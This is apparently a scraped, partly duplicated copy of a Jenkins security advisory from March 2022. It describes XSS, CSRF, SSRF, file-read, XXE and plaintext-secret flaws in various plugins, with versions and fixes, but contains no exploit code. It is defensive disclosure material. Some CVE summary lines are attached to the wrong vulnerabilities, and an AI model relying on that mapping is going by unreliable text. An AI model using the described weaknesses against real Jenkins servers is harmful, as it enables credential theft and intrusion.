Extended Choice Parameter Plugin 346.vd87693c5a\_86c and earlier allows attackers with Item/Configure permission to read values from arbitrary JSON and Java properties files on the Jenkins controller.

**CSRF vulnerability and missing permission checks in Extended Choice Parameter Plugin allow SSRF**

**SECURITY-1350 / CVE-2022-27204 (CSRF), CVE-2022-27205 (permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: extended-choice-parameter**  
**Description:**

Extended Choice Parameter Plugin 346.vd87693c5a\_86c and earlier does not perform a permission check on form validation methods. This allows attackers with Overall/Read permission to connect to an attacker-specified URL.

Additionally, these form validation methods do not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

**Client Secret stored in plain text by GitLab Authentication Plugin**

**SECURITY-1891 / CVE-2022-27206**  
**Severity (CVSS):** Low  
**Affected plugin: gitlab-oauth**  
**Description:**

GitLab Authentication Plugin 1.13 and earlier stores the GitLab client secret unencrypted in the global config.xml file on the Jenkins controller as part of its configuration.

This client secret can be viewed by users with access to the Jenkins controller file system.

**Stored XSS vulnerability in global-build-stats Plugin**

**SECURITY-1886 / CVE-2022-27207**  
**Severity (CVSS):** Medium  
**Affected plugin: global-build-stats**  
**Description:**

global-build-stats Plugin 1.5 and earlier does not escape multiple fields in the chart configuration on the 'Global Build Stats' page.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Overall/Administer permission.

**Arbitrary file read vulnerability in kubernetes-cd Plugin**

**SECURITY-2096 / CVE-2022-27208**  
**Severity (CVSS):** Medium  
**Affected plugin: kubernetes-cd**  
**Description:**

kubernetes-cd Plugin contributes the 'Kubernetes configuration (kubeconfig)' credential type.

kubernetes-cd Plugin 2.3.1 and earlier allows users with Credentials/Create or Credentials/Update permission to read arbitrary files on the Jenkins controller by defining a 'From a file on the Jenkins master' Kubeconfig source for such a credential.

**Missing permission checks in kubernetes-cd Plugin allow enumerating credentials IDs**

**SECURITY-2636 / CVE-2022-27209**  
**Severity (CVSS):** Medium  
**Affected plugin: kubernetes-cd**  
**Description:**

kubernetes-cd Plugin 2.3.1 and earlier does not perform permission checks in several HTTP endpoints.

This allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins. Those can be used as part of an attack to capture the credentials using another vulnerability.

**CSRF vulnerability and missing permission checks in kubernetes-cd Plugin allow capturing credentials**

**SECURITY-2681 / CVE-2022-27210 (CSRF), CVE-2022-27211 (permission check)**  
**Severity (CVSS):** High  
**Affected plugin: kubernetes-cd**  
**Description:**

kubernetes-cd Plugin 2.3.1 and earlier does not perform a permission check in an HTTP endpoint.

This allows attackers with Overall/Read permission to connect to an attacker-specified SSH server using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

Additionally, this endpoint does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

**Stored XSS vulnerability in List Git Branches Parameter Plugin**

**SECURITY-2167 / CVE-2022-27212**  
**Severity (CVSS):** High  
**Affected plugin: list-git-branches-parameter**  
**Description:**

List Git Branches Parameter Plugin 0.0.9 and earlier does not escape the name or default value of the 'List Git branches (and more)' parameter. Additionally, List Git Branches Parameter Plugin explicitly disables a protection mechanism introduced in Jenkins 2.44 and LTS 2.32.2 to prevent exploitation of unescaped parameter names.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

**Stored XSS vulnerability in Environment Dashboard Plugin**

**SECURITY-2252 / CVE-2022-27213**  
**Severity (CVSS):** High  
**Affected plugin: environment-dashboard**  
**Description:**

Environment Dashboard Plugin 1.1.10 and earlier does not escape the Environment order and the Component order configuration values in its views.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with View/Configure permission.

**CSRF vulnerability and missing permission checks in Release Helper Plugin**

**SECURITY-2274 / CVE-2022-27214 (CSRF), CVE-2022-27215 (permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: release-helper**  
**Description:**

Release Helper Plugin 1.3.3 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified username and password.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

**Passwords stored in plain text by dbCharts Plugin**

**SECURITY-2159 / CVE-2022-27216**  
**Severity (CVSS):** Low  
**Affected plugin: dbCharts**  
**Description:**

dbCharts Plugin 0.5.2 and earlier stores JDBC connection passwords unencrypted in its global configuration file hudson.plugins.dbcharts.DbChartPublisher.xml on the Jenkins controller as part of its configuration.

These passwords can be viewed by users with access to the Jenkins controller file system.

**Passwords stored in plain text by Vmware vRealize CodeStream Plugin**

**SECURITY-2238 / CVE-2022-27217**  
**Severity (CVSS):** Medium  
**Affected plugin: vmware-vrealize-codestream**  
**Description:**

Vmware vRealize CodeStream Plugin 1.2 and earlier stores passwords unencrypted in job config.xml files on the Jenkins controller as part of its configuration.

These passwords can be viewed by users with Item/Extended Read permission or access to the Jenkins controller file system.

**Personal tokens stored in plain text by incapptic connect uploader Plugin**

**SECURITY-2273 / CVE-2022-27218**  
**Severity (CVSS):** Medium  
**Affected plugin: incapptic-connect-uploader**  
**Description:**

incapptic connect uploader Plugin 1.15 and earlier stores personal tokens unencrypted in job config.xml files on the Jenkins controller as part of its configuration.

These tokens can be viewed by users with Item/Extended Read permission or access to the Jenkins controller file system.

**Severity**

*   SECURITY-1350: Medium
*   SECURITY-1351: Medium
*   SECURITY-1886: Medium
*   SECURITY-1891: Low
*   SECURITY-2096: Medium
*   SECURITY-2124: High
*   SECURITY-2159: Low
*   SECURITY-2167: High
*   SECURITY-2185: Low
*   SECURITY-2232: High
*   SECURITY-2238: Medium
*   SECURITY-2252: High
*   SECURITY-2273: Medium
*   SECURITY-2274: Medium
*   SECURITY-2351: Medium
*   SECURITY-2557: High
*   SECURITY-2559: High
*   SECURITY-2636: Medium
*   SECURITY-2646: Medium
*   SECURITY-2681: High

**Affected Versions**

*   **AWS Credentials Plugin** up to and including 189.v3551d5642995
*   **Dashboard View Plugin** up to and including 2.18
*   **dbCharts Plugin** up to and including 0.5.2
*   **Environment Dashboard Plugin** up to and including 1.1.10
*   **Extended Choice Parameter Plugin** up to and including 346.vd87693c5a\_86c
*   **Favorite Plugin** up to and including 2.4.0
*   **Folder-based Authorization Strategy Plugin** up to and including 1.3
*   **GitLab Authentication Plugin** up to and including 1.13
*   **global-build-stats Plugin** up to and including 1.5
*   **incapptic connect uploader Plugin** up to and including 1.15
*   **kubernetes-cd Plugin** up to and including 2.3.1
*   **List Git Branches Parameter Plugin** up to and including 0.0.9
*   **Parameterized Trigger Plugin** up to and including 2.43
*   **Release Helper Plugin** up to and including 1.3.3
*   **Semantic Versioning Plugin** up to and including 1.13
*   **Vmware vRealize CodeStream Plugin** up to and including 1.2

**Fix**

*   **AWS Credentials Plugin** should be updated to version 191.vcb\_f183ce58b\_9
*   **Dashboard View Plugin** should be updated to version 2.18.1
*   **Favorite Plugin** should be updated to version 2.4.1
*   **Folder-based Authorization Strategy Plugin** should be updated to version 1.4
*   **Parameterized Trigger Plugin** should be updated to version 2.43.1
*   **Semantic Versioning Plugin** should be updated to version 1.14

These versions include fixes to the vulnerabilities described above. All prior versions are considered to be affected by these vulnerabilities unless otherwise indicated.

As of publication of this advisory, no fixes are available for the following plugins:

*   dbCharts Plugin
*   Environment Dashboard Plugin
*   Extended Choice Parameter Plugin
*   GitLab Authentication Plugin
*   global-build-stats Plugin
*   incapptic connect uploader Plugin
*   kubernetes-cd Plugin
*   List Git Branches Parameter Plugin
*   Release Helper Plugin
*   Vmware vRealize CodeStream Plugin

Learn why we announce these issues.

**Credit**

The Jenkins project would like to thank the reporters for discovering and reporting these vulnerabilities:

*   **Daniel Beck, CloudBees, Inc.** for SECURITY-2124, SECURITY-2681
*   **Gunther Rademacher** for SECURITY-2185
*   **Jesse Glick, CloudBees, Inc.** for SECURITY-2096
*   **Justin Philip** for SECURITY-2252
*   **Kevin Guerroudj** for SECURITY-2232, SECURITY-2238
*   **Kevin Guerroudj, CloudBees, Inc.** for SECURITY-2636, SECURITY-2646
*   **Kevin Guerroudj, CloudBees, Inc. and Wadeck Follonier, CloudBees, Inc.** for SECURITY-2557
*   **Matt Sicker, CloudBees, Inc. and, independently, Marc Heyries** for SECURITY-1891
*   **Oleg Nenashev, CloudBees, Inc.** for SECURITY-1350, SECURITY-1351
*   **Quentin Parra** for SECURITY-2273, SECURITY-2274
*   **Son Nguyen (@s0nnguy3n\_)** for SECURITY-2159
*   **Son Nguyen (@s0nnguy3n\_), and, independently, Kevin Guerroudj** for SECURITY-2167
*   **Wadeck Follonier, CloudBees, Inc. and Kevin Guerroudj, CloudBees, Inc.** for SECURITY-2559
*   **Wadeck Follonier, CloudBees, Inc., and, independently, Kevin Guerroudj** for SECURITY-1886

CVE-2022-27203: Jenkins Security Advisory 2022-03-15

A missing permission check in Jenkins Extended Choice Parameter Plugin 346.vd87693c5a_86c and earlier allows attackers with Overall/Read permission to connect to an attacker-specified URL.

This advisory announces vulnerabilities in the following Jenkins deliverables:

*   CloudBees AWS Credentials Plugin
*   Dashboard View Plugin
*   dbCharts Plugin
*   Environment Dashboard Plugin
*   Extended Choice Parameter Plugin
*   Favorite Plugin
*   Folder-based Authorization Strategy Plugin
*   GitLab Authentication Plugin
*   global-build-stats Plugin
*   incapptic connect uploader Plugin
*   kubernetes-cd Plugin
*   List Git Branches Parameter Plugin
*   Parameterized Trigger Plugin
*   Release Helper Plugin
*   Semantic Versioning Plugin
*   Vmware vRealize CodeStream Plugin

**Descriptions****Sensitive parameter values captured in build metadata files by Parameterized Trigger Plugin**

**SECURITY-2185 / CVE-2022-27195**  
**Severity (CVSS):** Low  
**Affected plugin: parameterized-trigger**  
**Description:**

Parameterized Trigger Plugin 2.43 and earlier captures environment variables passed to builds triggered using Parameterized Trigger Plugin, including password parameter values, in their build.xml files. These values are stored unencrypted and can be viewed by users with access to the Jenkins controller file system.

Parameterized Trigger Plugin 2.43.1 does not store captured environment variables in build.xml files.

Existing build.xml files are not automatically updated to remove captured environment variables. They need to be manually cleaned up. To help with this, the plugin will report environment variables stored in build.xml as unloadable data in the Old Data Monitor, that allows discarding this data. Build records are only loaded from disk when needed however, so some builds stored in Jenkins may not immediately appear there.

**Stored XSS vulnerability in Favorite Plugin**

**SECURITY-2557 / CVE-2022-27196**  
**Severity (CVSS):** High  
**Affected plugin: favorite**  
**Description:**

Favorite Plugin 2.4.0 and earlier does not escape the names of jobs in the favorite column.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure or Item/Create permissions.

Favorite Plugin 2.4.1 escapes the names of jobs in the favorite column.

**Stored XSS vulnerability in Dashboard View Plugin**

**SECURITY-2559 / CVE-2022-27197**  
**Severity (CVSS):** High  
**Affected plugin: dashboard-view**  
**Description:**

Dashboard View Plugin 2.18 and earlier does not perform URL validation for the Iframe Portlet’s Iframe source URL.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to configure views.

Dashboard View Plugin 2.18.1 performs URL validation for the Iframe Portlet’s Iframe source URL.

Additionally, Dashboard View Plugin 2.18.1 sets the sandbox attribute for the iframe to restrict the included page.

In case of problems, the Java system property hudson.plugins.view.dashboard.core.IframePortlet.sandboxAttributeValue can be used to customize the sandbox attribute value. The Java system property hudson.plugins.view.dashboard.core.IframePortlet.doNotUseSandbox can be used to disable the sandbox completely.

**CSRF vulnerability and missing permission checks in CloudBees AWS Credentials Plugin**

**SECURITY-2351 / CVE-2022-27198 (CSRF), CVE-2022-27199 (permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: aws-credentials**  
**Description:**

CloudBees AWS Credentials Plugin 189.v3551d5642995 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an AWS service using an attacker-specified token.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

This form validation method requires POST requests and Overall/Administer permission in CloudBees AWS Credentials Plugin 191.vcb\_f183ce58b\_9.

**Stored XSS vulnerability in Folder-based Authorization Strategy Plugin**

**SECURITY-2646 / CVE-2022-27200**  
**Severity (CVSS):** Medium  
**Affected plugin: folder-auth**  
**Description:**

Folder-based Authorization Strategy Plugin 1.3 and earlier does not escape the names of roles shown on the configuration form.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Overall/Administer permission.

Folder-based Authorization Strategy Plugin 1.4 escapes the names of roles shown on the configuration form.

**Agent-to-controller security bypass in Semantic Versioning Plugin**

**SECURITY-2124 / CVE-2022-27201**  
**Severity (CVSS):** High  
**Affected plugin: semantic-versioning-plugin**  
**Description:**

Semantic Versioning Plugin defines a controller/agent message that processes a given file as XML and returns version information. The XML parser is not configured to prevent XML external entity (XXE) attacks, which is only a problem if XML documents are parsed on the Jenkins controller.

Semantic Versioning Plugin 1.13 and earlier does not restrict execution of the controller/agent message to agents, and implements no limitations about the file path that can be parsed. This allows attackers able to control agent processes to have Jenkins parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

This vulnerability is only exploitable in Jenkins 2.318 and earlier, LTS 2.303.2 and earlier. See the LTS upgrade guide.

Semantic Versioning Plugin 1.14 does not allow the affected controller/agent message to be submitted by agents for execution on the controller.

**Stored XSS vulnerability in Extended Choice Parameter Plugin**

**SECURITY-2232 / CVE-2022-27202**  
**Severity (CVSS):** High  
**Affected plugin: extended-choice-parameter**  
**Description:**

Extended Choice Parameter Plugin 346.vd87693c5a\_86c and earlier does not escape the value and description of Extended Choice Parameters with parameter type 'Radio Buttons' or 'Check Boxes'.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

**Arbitrary JSON and property file read vulnerability in Extended Choice Parameter Plugin**

**SECURITY-1351 / CVE-2022-27203**  
**Severity (CVSS):** Medium  
**Affected plugin: extended-choice-parameter**  
**Description:**

Extended Choice Parameter Plugin 346.vd87693c5a\_86c and earlier allows attackers with Item/Configure permission to read values from arbitrary JSON and Java properties files on the Jenkins controller.

**CSRF vulnerability and missing permission checks in Extended Choice Parameter Plugin allow SSRF**

**SECURITY-1350 / CVE-2022-27204 (CSRF), CVE-2022-27205 (permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: extended-choice-parameter**  
**Description:**

Extended Choice Parameter Plugin 346.vd87693c5a\_86c and earlier does not perform a permission check on form validation methods. This allows attackers with Overall/Read permission to connect to an attacker-specified URL.

Additionally, these form validation methods do not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

**Client Secret stored in plain text by GitLab Authentication Plugin**

**SECURITY-1891 / CVE-2022-27206**  
**Severity (CVSS):** Low  
**Affected plugin: gitlab-oauth**  
**Description:**

GitLab Authentication Plugin 1.13 and earlier stores the GitLab client secret unencrypted in the global config.xml file on the Jenkins controller as part of its configuration.

This client secret can be viewed by users with access to the Jenkins controller file system.

**Stored XSS vulnerability in global-build-stats Plugin**

**SECURITY-1886 / CVE-2022-27207**  
**Severity (CVSS):** Medium  
**Affected plugin: global-build-stats**  
**Description:**

global-build-stats Plugin 1.5 and earlier does not escape multiple fields in the chart configuration on the 'Global Build Stats' page.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Overall/Administer permission.

**Arbitrary file read vulnerability in kubernetes-cd Plugin**

**SECURITY-2096 / CVE-2022-27208**  
**Severity (CVSS):** Medium  
**Affected plugin: kubernetes-cd**  
**Description:**

kubernetes-cd Plugin contributes the 'Kubernetes configuration (kubeconfig)' credential type.

kubernetes-cd Plugin 2.3.1 and earlier allows users with Credentials/Create or Credentials/Update permission to read arbitrary files on the Jenkins controller by defining a 'From a file on the Jenkins master' Kubeconfig source for such a credential.

**Missing permission checks in kubernetes-cd Plugin allow enumerating credentials IDs**

**SECURITY-2636 / CVE-2022-27209**  
**Severity (CVSS):** Medium  
**Affected plugin: kubernetes-cd**  
**Description:**

kubernetes-cd Plugin 2.3.1 and earlier does not perform permission checks in several HTTP endpoints.

This allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins. Those can be used as part of an attack to capture the credentials using another vulnerability.

**CSRF vulnerability and missing permission checks in kubernetes-cd Plugin allow capturing credentials**

**SECURITY-2681 / CVE-2022-27210 (CSRF), CVE-2022-27211 (permission check)**  
**Severity (CVSS):** High  
**Affected plugin: kubernetes-cd**  
**Description:**

kubernetes-cd Plugin 2.3.1 and earlier does not perform a permission check in an HTTP endpoint.

This allows attackers with Overall/Read permission to connect to an attacker-specified SSH server using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

Additionally, this endpoint does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

**Stored XSS vulnerability in List Git Branches Parameter Plugin**

**SECURITY-2167 / CVE-2022-27212**  
**Severity (CVSS):** High  
**Affected plugin: list-git-branches-parameter**  
**Description:**

List Git Branches Parameter Plugin 0.0.9 and earlier does not escape the name or default value of the 'List Git branches (and more)' parameter. Additionally, List Git Branches Parameter Plugin explicitly disables a protection mechanism introduced in Jenkins 2.44 and LTS 2.32.2 to prevent exploitation of unescaped parameter names.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

**Stored XSS vulnerability in Environment Dashboard Plugin**

**SECURITY-2252 / CVE-2022-27213**  
**Severity (CVSS):** High  
**Affected plugin: environment-dashboard**  
**Description:**

Environment Dashboard Plugin 1.1.10 and earlier does not escape the Environment order and the Component order configuration values in its views.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with View/Configure permission.

**CSRF vulnerability and missing permission checks in Release Helper Plugin**

**SECURITY-2274 / CVE-2022-27214 (CSRF), CVE-2022-27215 (permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: release-helper**  
**Description:**

Release Helper Plugin 1.3.3 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified username and password.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

**Passwords stored in plain text by dbCharts Plugin**

**SECURITY-2159 / CVE-2022-27216**  
**Severity (CVSS):** Low  
**Affected plugin: dbCharts**  
**Description:**

dbCharts Plugin 0.5.2 and earlier stores JDBC connection passwords unencrypted in its global configuration file hudson.plugins.dbcharts.DbChartPublisher.xml on the Jenkins controller as part of its configuration.

These passwords can be viewed by users with access to the Jenkins controller file system.

**Passwords stored in plain text by Vmware vRealize CodeStream Plugin**

**SECURITY-2238 / CVE-2022-27217**  
**Severity (CVSS):** Medium  
**Affected plugin: vmware-vrealize-codestream**  
**Description:**

Vmware vRealize CodeStream Plugin 1.2 and earlier stores passwords unencrypted in job config.xml files on the Jenkins controller as part of its configuration.

These passwords can be viewed by users with Item/Extended Read permission or access to the Jenkins controller file system.

**Personal tokens stored in plain text by incapptic connect uploader Plugin**

**SECURITY-2273 / CVE-2022-27218**  
**Severity (CVSS):** Medium  
**Affected plugin: incapptic-connect-uploader**  
**Description:**

incapptic connect uploader Plugin 1.15 and earlier stores personal tokens unencrypted in job config.xml files on the Jenkins controller as part of its configuration.

These tokens can be viewed by users with Item/Extended Read permission or access to the Jenkins controller file system.

**Severity**

*   SECURITY-1350: Medium
*   SECURITY-1351: Medium
*   SECURITY-1886: Medium
*   SECURITY-1891: Low
*   SECURITY-2096: Medium
*   SECURITY-2124: High
*   SECURITY-2159: Low
*   SECURITY-2167: High
*   SECURITY-2185: Low
*   SECURITY-2232: High
*   SECURITY-2238: Medium
*   SECURITY-2252: High
*   SECURITY-2273: Medium
*   SECURITY-2274: Medium
*   SECURITY-2351: Medium
*   SECURITY-2557: High
*   SECURITY-2559: High
*   SECURITY-2636: Medium
*   SECURITY-2646: Medium
*   SECURITY-2681: High

**Affected Versions**

*   **CloudBees AWS Credentials Plugin** up to and including 189.v3551d5642995
*   **Dashboard View Plugin** up to and including 2.18
*   **dbCharts Plugin** up to and including 0.5.2
*   **Environment Dashboard Plugin** up to and including 1.1.10
*   **Extended Choice Parameter Plugin** up to and including 346.vd87693c5a\_86c
*   **Favorite Plugin** up to and including 2.4.0
*   **Folder-based Authorization Strategy Plugin** up to and including 1.3
*   **GitLab Authentication Plugin** up to and including 1.13
*   **global-build-stats Plugin** up to and including 1.5
*   **incapptic connect uploader Plugin** up to and including 1.15
*   **kubernetes-cd Plugin** up to and including 2.3.1
*   **List Git Branches Parameter Plugin** up to and including 0.0.9
*   **Parameterized Trigger Plugin** up to and including 2.43
*   **Release Helper Plugin** up to and including 1.3.3
*   **Semantic Versioning Plugin** up to and including 1.13
*   **Vmware vRealize CodeStream Plugin** up to and including 1.2

**Fix**

*   **CloudBees AWS Credentials Plugin** should be updated to version 191.vcb\_f183ce58b\_9
*   **Dashboard View Plugin** should be updated to version 2.18.1
*   **Favorite Plugin** should be updated to version 2.4.1
*   **Folder-based Authorization Strategy Plugin** should be updated to version 1.4
*   **Parameterized Trigger Plugin** should be updated to version 2.43.1
*   **Semantic Versioning Plugin** should be updated to version 1.14

These versions include fixes to the vulnerabilities described above. All prior versions are considered to be affected by these vulnerabilities unless otherwise indicated.

As of publication of this advisory, no fixes are available for the following plugins:

*   dbCharts Plugin
*   Environment Dashboard Plugin
*   Extended Choice Parameter Plugin
*   GitLab Authentication Plugin
*   global-build-stats Plugin
*   incapptic connect uploader Plugin
*   kubernetes-cd Plugin
*   List Git Branches Parameter Plugin
*   Release Helper Plugin
*   Vmware vRealize CodeStream Plugin

Learn why we announce these issues.

**Credit**

The Jenkins project would like to thank the reporters for discovering and reporting these vulnerabilities:

*   **Daniel Beck, CloudBees, Inc.** for SECURITY-2124, SECURITY-2681
*   **Gunther Rademacher** for SECURITY-2185
*   **Jesse Glick, CloudBees, Inc.** for SECURITY-2096
*   **Justin Philip** for SECURITY-2252
*   **Kevin Guerroudj** for SECURITY-2232, SECURITY-2238
*   **Kevin Guerroudj, CloudBees, Inc.** for SECURITY-2636, SECURITY-2646
*   **Kevin Guerroudj, CloudBees, Inc. and Wadeck Follonier, CloudBees, Inc.** for SECURITY-2557
*   **Matt Sicker, CloudBees, Inc. and, independently, Marc Heyries** for SECURITY-1891
*   **Oleg Nenashev, CloudBees, Inc.** for SECURITY-1350, SECURITY-1351
*   **Quentin Parra** for SECURITY-2273, SECURITY-2274
*   **Son Nguyen (@s0nnguy3n\_)** for SECURITY-2159
*   **Son Nguyen (@s0nnguy3n\_), and, independently, Kevin Guerroudj** for SECURITY-2167
*   **Wadeck Follonier, CloudBees, Inc. and Kevin Guerroudj, CloudBees, Inc.** for SECURITY-2559
*   **Wadeck Follonier, CloudBees, Inc., and, independently, Kevin Guerroudj** for SECURITY-1886

CVE-2022-27205: Jenkins Security Advisory 2022-03-15

Jenkins Folder-based Authorization Strategy Plugin 1.3 and earlier does not escape the names of roles shown on the configuration form, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Overall/Administer permission.

Tag

#oauth